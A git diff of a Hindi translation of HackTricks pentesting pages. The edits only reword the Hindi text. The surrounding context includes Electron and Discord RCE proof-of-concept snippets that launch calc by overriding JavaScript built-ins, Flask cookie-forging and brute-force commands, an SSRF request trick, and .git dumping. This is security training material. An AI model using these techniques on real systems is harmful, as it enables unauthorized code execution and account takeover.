struct objc_class : objc_object { // Class ISA; @@ -137,9 +137,9 @@ data()->setFlags(set); } [...] ``` -यह क्लास isa फ़ील्ड के कुछ बिट्स का उपयोग करके क्लास के बारे में कुछ जानकारी इंगित करता है। +यह क्लास isa फ़ील्ड के कुछ बिट्स का उपयोग क्लास के बारे में कुछ जानकारी इंगित करने के लिए करता है। फिर, स्ट्रक्चर में `class_ro_t` स्ट्रक्चर का एक पॉइंटर होता है जो डिस्क पर स्टोर किया गया है, जिसमें क्लास के गुण जैसे इसका नाम, बेस मेथड्स, प्रॉपर्टीज और इंस्टेंस वेरिएबल्स होते हैं।\ -रनटाइम के दौरान, एक अतिरिक्त स्ट्रक्चर `class_rw_t` का उपयोग किया जाता है जिसमें पॉइंटर्स होते हैं जिन्हें बदला जा सकता है जैसे मेथड्स, प्रोटोकॉल्स, प्रॉपर्टीज... +रनटाइम के दौरान एक अतिरिक्त स्ट्रक्चर `class_rw_t` का उपयोग किया जाता है जिसमें पॉइंटर्स होते हैं जिन्हें बदला जा सकता है जैसे मेथड्स, प्रोटोकॉल्स, प्रॉपर्टीज... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index 3b38a7ad2..661ccb629 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -17,15 +17,15 @@ - **/Users**: उपयोगकर्ताओं के लिए होम निर्देशिका। - **/usr**: कॉन्फ़िग और सिस्टम बाइनरी - **/var**: लॉग फ़ाइलें -- **/Volumes**: माउंट किए गए ड्राइव यहाँ दिखाई देंगे। +- **/Volumes**: यहाँ माउंट किए गए ड्राइव दिखाई देंगे। - **/.vol**: `stat a.txt` चलाने पर आपको कुछ ऐसा प्राप्त होता है `16777223 7545753 -rw-r--r-- 1 username wheel ...` जहाँ पहला नंबर उस वॉल्यूम का आईडी नंबर है जहाँ फ़ाइल मौजूद है और दूसरा इनोड नंबर है। आप इस फ़ाइल की सामग्री को /.vol/ के माध्यम से उस जानकारी के साथ एक्सेस कर सकते हैं `cat /.vol/16777223/7545753` -### ऐप्स फ़ोल्डर +### ऐप्लिकेशन फ़ोल्डर -- **सिस्टम ऐप्स** `/System/Applications` के अंतर्गत स्थित हैं -- **स्थापित** ऐप्स आमतौर पर `/Applications` या `~/Applications` में स्थापित होते हैं -- **ऐप्लिकेशन डेटा** `/Library/Application Support` में उन ऐप्स के लिए मिल सकता है जो रूट के रूप में चल रहे हैं और `~/Library/Application Support` में उपयोगकर्ता के रूप में चल रहे ऐप्स के लिए। -- तीसरे पक्ष के ऐप्स **डेमन** जो **रूट के रूप में चलने की आवश्यकता है** आमतौर पर `/Library/PrivilegedHelperTools/` में स्थित होते हैं +- **सिस्टम ऐप्लिकेशन** `/System/Applications` के अंतर्गत स्थित हैं +- **स्थापित** ऐप्लिकेशन आमतौर पर `/Applications` या `~/Applications` में स्थापित होते हैं +- **ऐप्लिकेशन डेटा** `/Library/Application Support` में उन ऐप्लिकेशनों के लिए पाया जा सकता है जो रूट के रूप में चल रही हैं और `~/Library/Application Support` में उपयोगकर्ता के रूप में चल रही ऐप्लिकेशनों के लिए। +- तीसरे पक्ष के ऐप्लिकेशन **डेमन** जो **रूट के रूप में चलने की आवश्यकता है** आमतौर पर `/Library/PrivilegedHelperTools/` में स्थित होते हैं - **सैंडबॉक्स** ऐप्स `~/Library/Containers` फ़ोल्डर में मैप किए जाते हैं। प्रत्येक ऐप का एक फ़ोल्डर होता है जिसका नाम ऐप्लिकेशन के बंडल आईडी (`com.apple.Safari`) के अनुसार होता है। - **कर्नेल** `/System/Library/Kernels/kernel` में स्थित है - **Apple के कर्नेल एक्सटेंशन** `/System/Library/Extensions` में स्थित हैं @@ -48,7 +48,7 @@ macos-installers-abuse.md ## OS X विशिष्ट एक्सटेंशन - **`.dmg`**: Apple डिस्क इमेज फ़ाइलें इंस्टॉलर्स के लिए बहुत सामान्य हैं। -- **`.kext`**: इसे एक विशिष्ट संरचना का पालन करना चाहिए और यह OS X का एक ड्राइवर है। (यह एक बंडल है) +- **`.kext`**: इसे एक विशिष्ट संरचना का पालन करना चाहिए और यह ड्राइवर का OS X संस्करण है। (यह एक बंडल है) - **`.plist`**: जिसे प्रॉपर्टी लिस्ट के रूप में भी जाना जाता है, यह XML या बाइनरी प्रारूप में जानकारी संग्रहीत करता है। - यह XML या बाइनरी हो सकता है। बाइनरी को पढ़ा जा सकता है: - `defaults read config.plist` @@ -56,14 +56,14 @@ macos-installers-abuse.md - `plutil -p ~/Library/Preferences/com.apple.screensaver.plist` - `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -` - `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -` -- **`.app`**: Apple ऐप्स जो निर्देशिका संरचना का पालन करते हैं (यह एक बंडल है)। +- **`.app`**: Apple ऐप्लिकेशन जो निर्देशिका संरचना का पालन करते हैं (यह एक बंडल है)। - **`.dylib`**: डायनामिक लाइब्रेरी (जैसे Windows DLL फ़ाइलें) - **`.pkg`**: ये xar (eXtensible Archive format) के समान हैं। इंस्टॉलर कमांड का उपयोग इन फ़ाइलों की सामग्री को स्थापित करने के लिए किया जा सकता है। - **`.DS_Store`**: यह फ़ाइल प्रत्येक निर्देशिका में होती है, यह निर्देशिका के गुण और अनुकूलन को सहेजती है। - **`.Spotlight-V100`**: यह फ़ोल्डर सिस्टम पर प्रत्येक वॉल्यूम के रूट निर्देशिका में दिखाई देता है। - **`.metadata_never_index`**: यदि यह फ़ाइल किसी वॉल्यूम के रूट पर है तो Spotlight उस वॉल्यूम को इंडेक्स नहीं करेगा। - **`.noindex`**: इस एक्सटेंशन वाली फ़ाइलें और फ़ोल्डर Spotlight द्वारा इंडेक्स नहीं किए जाएंगे। -- **`.sdef`**: बंडलों के अंदर फ़ाइलें जो यह निर्दिष्ट करती हैं कि AppleScript से ऐप्लिकेशन के साथ कैसे इंटरैक्ट करना संभव है। +- **`.sdef`**: बंडल के अंदर की फ़ाइलें यह निर्दिष्ट करती हैं कि AppleScript से ऐप्लिकेशन के साथ कैसे इंटरैक्ट करना संभव है। ### macOS बंडल @@ -82,7 +82,7 @@ iOS में आप इन्हें **`/System/Library/Caches/com.apple.dyld dyld साझा कैश के समान, कर्नेल और कर्नेल एक्सटेंशन भी एक कर्नेल कैश में संकलित होते हैं, जिसे बूट समय पर लोड किया जाता है। -एकल फ़ाइल dylib साझा कैश से लाइब्रेरी निकालने के लिए बाइनरी [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip) का उपयोग करना संभव था जो आजकल काम नहीं कर सकता है लेकिन आप [**dyldextractor**](https://github.com/arandomdev/dyldextractor) का भी उपयोग कर सकते हैं: +एकल फ़ाइल dylib साझा कैश से लाइब्रेरी निकालने के लिए, बाइनरी [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip) का उपयोग करना संभव था जो आजकल काम नहीं कर सकता है लेकिन आप [**dyldextractor**](https://github.com/arandomdev/dyldextractor) का भी उपयोग कर सकते हैं: ```bash # dyld_shared_cache_util dyld_shared_cache_util -extract ~/shared_cache/ /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e @@ -115,22 +115,22 @@ dyldex_all [dyld_shared_cache_path] # Extract all env वेरिएबल का उपयोग करते हुए: - **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> यह एक नया साझा पुस्तकालय कैश लोड करने की अनुमति देगा। -- **`DYLD_SHARED_CACHE_DIR=avoid`** और वास्तविक पुस्तकालयों के साथ साझा कैश के लिए सिम्लिंक्स के साथ पुस्तकालयों को मैन्युअल रूप से बदलें (आपको उन्हें निकालने की आवश्यकता होगी)। +- **`DYLD_SHARED_CACHE_DIR=avoid`** और वास्तविक पुस्तकालयों के साथ साझा कैश के लिए सिमलिंक्स के साथ पुस्तकालयों को मैन्युअल रूप से बदलें (आपको उन्हें निकालने की आवश्यकता होगी)। ## विशेष फ़ाइल अनुमतियाँ ### फ़ोल्डर अनुमतियाँ -एक **फ़ोल्डर** में, **पढ़ने** की अनुमति **सूचीबद्ध** करने की अनुमति देती है, **लिखने** की अनुमति **हटाने** और **लिखने** की अनुमति देती है, और **निष्पादित** करने की अनुमति **निर्देशिका** को **पार** करने की अनुमति देती है। इसलिए, उदाहरण के लिए, एक उपयोगकर्ता जिसके पास एक फ़ाइल पर **पढ़ने की अनुमति** है, उस निर्देशिका में जहां उसके पास **निष्पादित** करने की अनुमति नहीं है, वह **फ़ाइल को पढ़ने में असमर्थ होगा**। +एक **फ़ोल्डर** में, **पढ़ने** की अनुमति **सूचीबद्ध** करने की अनुमति देती है, **लिखने** की अनुमति फ़ाइलों को **हटाने** और **लिखने** की अनुमति देती है, और **निष्पादित** करने की अनुमति निर्देशिका को **पार** करने की अनुमति देती है। इसलिए, उदाहरण के लिए, एक उपयोगकर्ता जिसके पास एक फ़ाइल पर **पढ़ने की अनुमति** है, उस निर्देशिका में जहां उसके पास **निष्पादित** करने की अनुमति नहीं है, वह फ़ाइल को **नहीं पढ़ सकेगा**। ### ध्वज संशोधक कुछ ध्वज हैं जो फ़ाइलों में सेट किए जा सकते हैं जो फ़ाइल के व्यवहार को अलग तरीके से बना देंगे। आप `ls -lO /path/directory` के साथ एक निर्देशिका के अंदर फ़ाइलों के ध्वज **जांच सकते हैं**। -- **`uchg`**: जिसे **uchange** ध्वज के रूप में जाना जाता है, यह **फ़ाइल** को बदलने या हटाने की **किसी भी क्रिया** को **रोक देगा**। इसे सेट करने के लिए करें: `chflags uchg file.txt` +- **`uchg`**: जिसे **uchange** ध्वज के रूप में जाना जाता है, यह **किसी भी क्रिया** को फ़ाइल को बदलने या हटाने से **रोकता है**। इसे सेट करने के लिए करें: `chflags uchg file.txt` - रूट उपयोगकर्ता **ध्वज को हटा** सकता है और फ़ाइल को संशोधित कर सकता है। - **`restricted`**: यह ध्वज फ़ाइल को **SIP द्वारा संरक्षित** बनाता है (आप इस ध्वज को फ़ाइल में नहीं जोड़ सकते)। -- **`Sticky bit`**: यदि एक निर्देशिका में स्टिकी बिट है, तो **केवल** **निर्देशिका का मालिक या रूट फ़ाइलों का नाम बदलने या हटाने** में सक्षम हो सकता है। आमतौर पर इसे /tmp निर्देशिका पर सेट किया जाता है ताकि सामान्य उपयोगकर्ता अन्य उपयोगकर्ताओं की फ़ाइलों को हटाने या स्थानांतरित करने से रोक सकें। +- **`Sticky bit`**: यदि एक निर्देशिका में स्टिकी बिट है, तो **केवल** **निर्देशिका का मालिक या रूट फ़ाइलों का नाम बदल सकता है या हटा सकता है**। आमतौर पर इसे /tmp निर्देशिका पर सेट किया जाता है ताकि सामान्य उपयोगकर्ता अन्य उपयोगकर्ताओं की फ़ाइलों को हटाने या स्थानांतरित करने से रोक सकें। सभी ध्वज फ़ाइल `sys/stat.h` में पाए जा सकते हैं (इसे `mdfind stat.h | grep stat.h` का उपयोग करके खोजें) और हैं: @@ -158,7 +158,7 @@ env वेरिएबल का उपयोग करते हुए: फ़ाइल **ACLs** में **ACE** (एक्सेस कंट्रोल एंट्रीज़) होती हैं जहां विभिन्न उपयोगकर्ताओं को अधिक **सूक्ष्म अनुमतियाँ** दी जा सकती हैं। -एक **निर्देशिका** को ये अनुमतियाँ दी जा सकती हैं: `सूची`, `खोज`, `फाइल जोड़ें`, `उपनिर्देशिका जोड़ें`, `बच्चे को हटाएँ`, `बच्चे को हटाएँ`।\ +एक **निर्देशिका** को ये अनुमतियाँ दी जा सकती हैं: `सूची`, `खोज`, `फाइल जोड़ें`, `उप-निर्देशिका जोड़ें`, `बच्चे को हटाएँ`, `बच्चे को हटाएँ`।\ और एक **फ़ाइल** के लिए: `पढ़ें`, `लिखें`, `जोड़ें`, `निष्पादित करें`। जब फ़ाइल में ACLs होती हैं, तो आप अनुमतियों की सूची बनाते समय **"+" पाएंगे** जैसे: @@ -192,11 +192,11 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: " - `com.apple.uuidb.boot-uuid`: अद्वितीय UUID के साथ बूट युगों के logd मार्किंग - `com.apple.decmpfs`: MacOS: पारदर्शी फ़ाइल संकुचन (II/7) - `com.apple.cprotect`: \*OS: प्रति-फ़ाइल एन्क्रिप्शन डेटा (III/11) -- `com.apple.installd.*`: \*OS: installd द्वारा उपयोग किया जाने वाला मेटाडेटा, जैसे कि `installType`, `uniqueInstallID` +- `com.apple.installd.*`: \*OS: installd द्वारा उपयोग किया जाने वाला मेटाडेटा, जैसे, `installType`, `uniqueInstallID` ### संसाधन फोर्क | macOS ADS -यह **MacOS** मशीनों में **वैकल्पिक डेटा धाराओं** को प्राप्त करने का एक तरीका है। आप **file/..namedfork/rsrc** में एक फ़ाइल के अंदर **com.apple.ResourceFork** नामक विस्तारित विशेषता के अंदर सामग्री सहेज सकते हैं। +यह **MacOS** मशीनों में **वैकल्पिक डेटा धाराओं** को प्राप्त करने का एक तरीका है। आप **file/..namedfork/rsrc** के अंदर एक फ़ाइल के अंदर **com.apple.ResourceFork** नामक विस्तारित विशेषता के अंदर सामग्री सहेज सकते हैं। ```bash echo "Hello" > a.txt echo "Hello Mac ADS" > a.txt/..namedfork/rsrc diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md index 33bebfd08..c6dc9b011 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md @@ -11,13 +11,13 @@ macOS में बंडल विभिन्न संसाधनों क एक बंडल के भीतर, विशेष रूप से `.app/Contents/` निर्देशिका के भीतर, कई महत्वपूर्ण संसाधन housed होते हैं: - **\_CodeSignature**: यह निर्देशिका कोड-हस्ताक्षर विवरण संग्रहीत करती है जो एप्लिकेशन की अखंडता को सत्यापित करने के लिए महत्वपूर्ण है। आप कोड-हस्ताक्षर जानकारी की जांच कर सकते हैं जैसे: %%%bash openssl dgst -binary -sha1 /Applications/Safari.app/Contents/Resources/Assets.car | openssl base64 %%% -- **MacOS**: एप्लिकेशन का निष्पादन योग्य बाइनरी होता है जो उपयोगकर्ता की बातचीत पर चलता है। +- **MacOS**: एप्लिकेशन का निष्पादन योग्य बाइनरी शामिल है जो उपयोगकर्ता के इंटरैक्शन पर चलता है। - **Resources**: एप्लिकेशन के उपयोगकर्ता इंटरफ़ेस घटकों के लिए एक भंडार जिसमें चित्र, दस्तावेज़, और इंटरफ़ेस विवरण (nib/xib फ़ाइलें) शामिल हैं। -- **Info.plist**: एप्लिकेशन की मुख्य कॉन्फ़िगरेशन फ़ाइल के रूप में कार्य करता है, जो सिस्टम को एप्लिकेशन को सही तरीके से पहचानने और बातचीत करने के लिए महत्वपूर्ण है। +- **Info.plist**: एप्लिकेशन की मुख्य कॉन्फ़िगरेशन फ़ाइल के रूप में कार्य करता है, जो सिस्टम को एप्लिकेशन को सही तरीके से पहचानने और इंटरैक्ट करने के लिए महत्वपूर्ण है। #### Important Keys in Info.plist -`Info.plist` फ़ाइल एप्लिकेशन कॉन्फ़िगरेशन के लिए एक आधारशिला है, जिसमें कुंजी जैसे शामिल हैं: +`Info.plist` फ़ाइल एप्लिकेशन कॉन्फ़िगरेशन के लिए एक आधारशिला है, जिसमें निम्नलिखित कुंजी शामिल हैं: - **CFBundleExecutable**: `Contents/MacOS` निर्देशिका में स्थित मुख्य निष्पादन योग्य फ़ाइल का नाम निर्दिष्ट करता है। - **CFBundleIdentifier**: एप्लिकेशन के लिए एक वैश्विक पहचानकर्ता प्रदान करता है, जिसका उपयोग macOS द्वारा एप्लिकेशन प्रबंधन के लिए व्यापक रूप से किया जाता है। @@ -33,7 +33,7 @@ macOS में बंडल विभिन्न संसाधनों क सामान्य निर्देशिकाओं के अलावा, बंडल में निम्नलिखित भी शामिल हो सकते हैं: -- **Frameworks**: एप्लिकेशन द्वारा उपयोग किए जाने वाले बंडल किए गए ढांचे को शामिल करता है। ढांचे dylibs के समान होते हैं जिनमें अतिरिक्त संसाधन होते हैं। +- **Frameworks**: एप्लिकेशन द्वारा उपयोग किए जाने वाले बंडल किए गए फ्रेमवर्क शामिल हैं। फ्रेमवर्क अतिरिक्त संसाधनों के साथ dylibs के समान होते हैं। - **PlugIns**: एक निर्देशिका प्लग-इन्स और एक्सटेंशन के लिए जो एप्लिकेशन की क्षमताओं को बढ़ाते हैं। - **XPCServices**: एप्लिकेशन द्वारा आउट-ऑफ-प्रोसेस संचार के लिए उपयोग की जाने वाली XPC सेवाओं को रखता है। diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index ccad821a0..9f697735e 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -15,8 +15,8 @@ macOS **installer package** (जिसे `.pkg` फ़ाइल के रू - **Distribution (xml)**: कस्टमाइज़ेशन (शीर्षक, स्वागत पाठ…) और स्क्रिप्ट/स्थापना जांच - **PackageInfo (xml)**: जानकारी, स्थापना आवश्यकताएँ, स्थापना स्थान, चलाने के लिए स्क्रिप्ट के पथ - **Bill of materials (bom)**: फ़ाइलों की सूची जिन्हें स्थापित, अपडेट या हटा दिया जाना है फ़ाइल अनुमतियों के साथ -- **Payload (CPIO archive gzip compresses)**: फ़ाइलें जो PackageInfo से `install-location` में स्थापित की जाएंगी -- **Scripts (CPIO archive gzip compressed)**: पूर्व और पश्चात स्थापना स्क्रिप्ट और अधिक संसाधन जिन्हें निष्पादन के लिए एक अस्थायी निर्देशिका में निकाला गया है। +- **Payload (CPIO archive gzip compresses)**: PackageInfo से `install-location` में स्थापित करने के लिए फ़ाइलें +- **Scripts (CPIO archive gzip compressed)**: पूर्व और पश्चात स्थापना स्क्रिप्ट और निष्पादन के लिए अस्थायी निर्देशिका में निकाली गई अधिक संसाधन। ### Decompress ```bash @@ -47,9 +47,9 @@ DMG फ़ाइलें, या Apple Disk Images, एक फ़ाइल प एक DMG फ़ाइल का पदानुक्रम सामग्री के आधार पर भिन्न हो सकता है। हालाँकि, एप्लिकेशन DMGs के लिए, यह आमतौर पर इस संरचना का पालन करता है: -- शीर्ष स्तर: यह डिस्क इमेज की जड़ है। इसमें अक्सर एप्लिकेशन और संभवतः एप्लिकेशन फ़ोल्डर के लिए एक लिंक होता है। +- शीर्ष स्तर: यह डिस्क इमेज की जड़ है। इसमें अक्सर एप्लिकेशन और संभवतः एप्लिकेशंस फ़ोल्डर के लिए एक लिंक होता है। - एप्लिकेशन (.app): यह वास्तविक एप्लिकेशन है। macOS में, एक एप्लिकेशन आमतौर पर एक पैकेज होता है जिसमें कई व्यक्तिगत फ़ाइलें और फ़ोल्डर होते हैं जो एप्लिकेशन बनाते हैं। -- एप्लिकेशन लिंक: यह macOS में एप्लिकेशन फ़ोल्डर के लिए एक शॉर्टकट है। इसका उद्देश्य आपको एप्लिकेशन स्थापित करने में आसानी प्रदान करना है। आप .app फ़ाइल को इस शॉर्टकट पर खींच सकते हैं ताकि ऐप स्थापित हो सके। +- एप्लिकेशंस लिंक: यह macOS में एप्लिकेशंस फ़ोल्डर के लिए एक शॉर्टकट है। इसका उद्देश्य आपको एप्लिकेशन स्थापित करने में आसानी प्रदान करना है। आप .app फ़ाइल को इस शॉर्टकट पर खींच सकते हैं ताकि ऐप स्थापित हो सके। ## pkg दुरुपयोग के माध्यम से प्रिवेस्क @@ -71,9 +71,9 @@ For more info check this talk: [https://www.youtube.com/watch?v=lTOItyjTTkw](htt ### Execution by mounting -यदि एक इंस्टॉलर `/tmp/fixedname/bla/bla` में लिखता है, तो आप **`/tmp/fixedname`** पर कोई मालिक नहीं के साथ **एक माउंट** बना सकते हैं ताकि आप इंस्टॉलेशन प्रक्रिया का दुरुपयोग करने के लिए **इंस्टॉलेशन के दौरान किसी भी फ़ाइल को संशोधित** कर सकें। +यदि एक इंस्टॉलर `/tmp/fixedname/bla/bla` में लिखता है, तो आप **`/tmp/fixedname`** पर कोई मालिक नहीं होने के साथ **एक माउंट** बना सकते हैं ताकि आप **इंस्टॉलेशन के दौरान किसी भी फ़ाइल को संशोधित कर सकें** और इंस्टॉलेशन प्रक्रिया का दुरुपयोग कर सकें। -इसका एक उदाहरण **CVE-2021-26089** है जिसने **रूट के रूप में निष्पादन** प्राप्त करने के लिए **एक आवधिक स्क्रिप्ट को ओवरराइट** करने में सफलता पाई। अधिक जानकारी के लिए इस टॉक को देखें: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) +इसका एक उदाहरण **CVE-2021-26089** है जिसने **एक आवधिक स्क्रिप्ट को अधिलेखित** करने में सफलता प्राप्त की ताकि रूट के रूप में निष्पादन प्राप्त किया जा सके। अधिक जानकारी के लिए इस वार्ता को देखें: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) ## pkg as malware @@ -83,7 +83,7 @@ For more info check this talk: [https://www.youtube.com/watch?v=lTOItyjTTkw](htt ### JS in Distribution xml -यह पैकेज के **वितरण xml** फ़ाइल में **`

test

"; `SecurityContext` के 6 प्रकार हैं: * `None`; -* `HTML` का उपयोग किया जाता है, जब मान को HTML के रूप में व्याख्या किया जाता है; -* `STYLE` का उपयोग किया जाता है, जब CSS को `style` गुण में बाइंड किया जाता है; +* `HTML` का उपयोग तब किया जाता है, जब मान को HTML के रूप में व्याख्या किया जाता है; +* `STYLE` का उपयोग तब किया जाता है, जब CSS को `style` गुण में बाइंड किया जाता है; * `URL` का उपयोग URL गुणों के लिए किया जाता है, जैसे ``; * `SCRIPT` का उपयोग JavaScript कोड के लिए किया जाता है; * `RESOURCE_URL` एक URL के रूप में जो कोड के रूप में लोड और निष्पादित किया जाता है, उदाहरण के लिए, ` ``` -चूंकि `SAFE_PROTOCOLS.indexOf` का कॉल हमेशा 1337 लौटाएगा, हमलावर सुरक्षा को बायपास कर सकता है और calc को निष्पादित कर सकता है। अंतिम शोषण: +चूंकि `SAFE_PROTOCOLS.indexOf` का कॉल हमेशा 1337 लौटाएगा, हमलावर सुरक्षा को बायपास कर सकता है और calc को निष्पादित कर सकता है। अंतिम एक्सप्लॉइट: ```html CLICK ``` -असली स्लाइड्स की जांच करें कि बिना अनुमति मांगने वाले प्रॉम्प्ट के बिना प्रोग्राम कैसे चलाए जा सकते हैं। +अधिकारों के लिए अनुमति मांगने वाले प्रॉम्प्ट के बिना प्रोग्राम चलाने के अन्य तरीकों के लिए मूल स्लाइड देखें। -स्पष्ट रूप से कोड को लोड और निष्पादित करने का एक और तरीका है जैसे `file://127.0.0.1/electron/rce.jar` तक पहुंचना। +स्पष्ट रूप से कोड लोड और निष्पादित करने का एक और तरीका कुछ इस तरह से एक्सेस करना है `file://127.0.0.1/electron/rce.jar` ## उदाहरण 2: डिस्कॉर्ड ऐप RCE [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1) से उदाहरण -जब मैंने प्रीलोड स्क्रिप्ट की जांच की, तो मैंने पाया कि डिस्कॉर्ड उस फ़ंक्शन को उजागर करता है, जो कुछ अनुमत मॉड्यूल को `DiscordNative.nativeModules.requireModule('MODULE-NAME')` के माध्यम से कॉल करने की अनुमति देता है, वेब पृष्ठ में।\ -यहां, मैं RCE के लिए सीधे उपयोग किए जा सकने वाले मॉड्यूल, जैसे _child_process_ मॉड्यूल का उपयोग नहीं कर सका, लेकिन मैंने **एक कोड पाया जहां RCE को JavaScript के अंतर्निहित तरीकों को ओवरराइड करके और उजागर किए गए मॉड्यूल के निष्पादन में हस्तक्षेप करके प्राप्त किया जा सकता है**। +जब मैंने प्रीलोड स्क्रिप्ट की जांच की, तो मैंने पाया कि डिस्कॉर्ड उस फ़ंक्शन को उजागर करता है, जो कुछ अनुमत मॉड्यूल को `DiscordNative.nativeModules.requireModule('MODULE-NAME')` के माध्यम से वेब पृष्ठ में कॉल करने की अनुमति देता है।\ +यहां, मैं RCE के लिए सीधे उपयोग किए जा सकने वाले मॉड्यूल, जैसे _child_process_ मॉड्यूल का उपयोग नहीं कर सका, लेकिन मैंने **JavaScript अंतर्निहित विधियों को ओवरराइड करके RCE प्राप्त करने के लिए एक कोड पाया** और उजागर किए गए मॉड्यूल के निष्पादन में हस्तक्षेप किया। -निम्नलिखित PoC है। मैंने पुष्टि की कि **calc** एप्लिकेशन **पॉप** होता है जब मैं **`getGPUDriverVersions` फ़ंक्शन** को कॉल करता हूं जो "_discord_utils_" नामक मॉड्यूल में devTools से परिभाषित है, जबकि **`RegExp.prototype.test` और `Array.prototype.join` को ओवरराइड करते हुए**। +निम्नलिखित PoC है। मैंने पुष्टि की कि **calc** एप्लिकेशन **पॉप** होता है जब मैं **`getGPUDriverVersions` फ़ंक्शन को कॉल करता हूँ** जो "_discord_utils_" नामक मॉड्यूल में devTools से परिभाषित है, जबकि **`RegExp.prototype.test` और `Array.prototype.join` को ओवरराइड करते हुए**। ```javascript RegExp.prototype.test = function () { return false @@ -71,6 +71,6 @@ result.nvidia = { error: e.toString() } return result } ``` -आमतौर पर _execa_ "_nvidia-smi.exe_" को निष्पादित करने की कोशिश करता है, जो `nvidiaSmiPath` वेरिएबल में निर्दिष्ट है, हालाँकि, ओवरराइडेड `RegExp.prototype.test` और `Array.prototype.join` के कारण, **आर्गुमेंट को "**_**calc**_**" में \_execa**\_** की आंतरिक प्रोसेसिंग में बदल दिया जाता है**। +आमतौर पर _execa_ "_nvidia-smi.exe_" को निष्पादित करने की कोशिश करता है, जो `nvidiaSmiPath` वेरिएबल में निर्दिष्ट है, हालाँकि, ओवरराइड किए गए `RegExp.prototype.test` और `Array.prototype.join` के कारण, **आर्गुमेंट को "**_**calc**_**" में \_execa**\_** के आंतरिक प्रोसेसिंग में बदल दिया जाता है**। विशेष रूप से, आर्गुमेंट को निम्नलिखित दो भागों को बदलकर प्रतिस्थापित किया जाता है। diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index 075ca3864..06a380a12 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -46,7 +46,7 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy ``` ### **RIPsession** -कमान्ड लाइन उपकरण जो flask-unsign के साथ बनाए गए कुकीज़ का उपयोग करके वेबसाइटों पर ब्रूट-फोर्स करता है। +कमान्ड लाइन टूल जो flask-unsign के साथ बनाए गए कुकीज़ का उपयोग करके वेबसाइटों पर ब्रूट-फोर्स करता है। {% embed url="https://github.com/Tagvi/ripsession" %} ```bash @@ -54,11 +54,11 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p ``` ### Flask सत्र कुकी में SQLi SQLmap के साथ -[**यह उदाहरण**](../../pentesting-web/sql-injection/sqlmap/#eval) sqlmap `eval` विकल्प का उपयोग करता है ताकि **फ्लास्क के लिए sqlmap पेलोड को स्वचालित रूप से साइन किया जा सके** एक ज्ञात गुप्त के लिए। +[**यह उदाहरण**](../../pentesting-web/sql-injection/sqlmap/#eval) sqlmap `eval` विकल्प का उपयोग करता है ताकि **flask के लिए sqlmap पेलोड को स्वचालित रूप से साइन किया जा सके** एक ज्ञात गुप्त के साथ। ## SSRF के लिए Flask प्रॉक्सी -[**इस लेख में**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) यह समझाया गया है कि कैसे Flask एक अनुरोध की अनुमति देता है जो वर्ण "@" से शुरू होता है: +[**इस लेख में**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) यह समझाया गया है कि Flask एक अनुरोध को कैसे अनुमति देता है जो वर्ण "@" से शुरू होता है: ```http GET @/ HTTP/1.1 Host: target.com diff --git a/src/network-services-pentesting/pentesting-web/git.md b/src/network-services-pentesting/pentesting-web/git.md index d49440a9f..09105b98c 100644 --- a/src/network-services-pentesting/pentesting-web/git.md +++ b/src/network-services-pentesting/pentesting-web/git.md @@ -4,7 +4,7 @@ **URL से .git फ़ोल्डर को डंप करने के लिए उपयोग करें** [**https://github.com/arthaud/git-dumper**](https://github.com/arthaud/git-dumper) -**सामग्री का निरीक्षण करने के लिए उपयोग करें** [**https://www.gitkraken.com/**](https://www.gitkraken.com/) +**सामग्री की जांच करने के लिए उपयोग करें** [**https://www.gitkraken.com/**](https://www.gitkraken.com/) यदि किसी वेब एप्लिकेशन में _.git_ निर्देशिका पाई जाती है, तो आप _wget -r http://web.com/.git_ का उपयोग करके सभी सामग्री डाउनलोड कर सकते हैं। फिर, आप _git diff_ का उपयोग करके किए गए परिवर्तनों को देख सकते हैं। diff --git a/src/network-services-pentesting/pentesting-web/golang.md b/src/network-services-pentesting/pentesting-web/golang.md index 93f1fa0ed..6ddc902f6 100644 --- a/src/network-services-pentesting/pentesting-web/golang.md +++ b/src/network-services-pentesting/pentesting-web/golang.md @@ -2,11 +2,11 @@ 